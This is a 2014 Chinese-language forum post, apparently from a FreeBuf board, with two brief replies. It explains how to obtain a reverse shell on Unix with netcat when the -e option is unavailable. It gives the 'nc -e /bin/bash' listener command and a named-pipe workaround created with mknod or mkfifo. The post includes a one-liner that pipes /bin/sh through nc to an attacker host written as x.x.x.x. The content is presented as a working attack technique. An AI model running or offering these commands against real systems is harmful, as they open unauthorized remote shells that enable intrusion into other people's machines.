freebuf小编 发表于 2014-7-16 10:20:06

Unix系统NC反弹shell的方法

Unix系统自带NC,但是为了安全,一般不会编译-e选项,也就无法反弹shell。但是可以变换一下思路,不直接使用NC反弹shell,而是反弹一个拥有shell权限的管道。

NC的原生做法:                                                                                                                                                                                                   nc -l -vv -p 2222 -e /bin/bash
                                                                                                                                                                                                                                    无法使用NC反弹的时候可以这样先在tmp创建一个普通管道
mknod /tmp/backpipe p
或者
mkfifo /tmp/backpipe p
然后管道一边接入shell,一变用NC反弹到攻击者主机x.x.x.x
/bin/sh 0</tmp/backpipe | nc x.x.x.x listenport 1>/tmp/backpipe                                             

zhoujian018 发表于 2014-7-17 18:52:53

lvxiaowu 发表于 2014-7-19 21:43:35

好东西顶下顶个
页: [1]
查看完整版本: Unix系统NC反弹shell的方法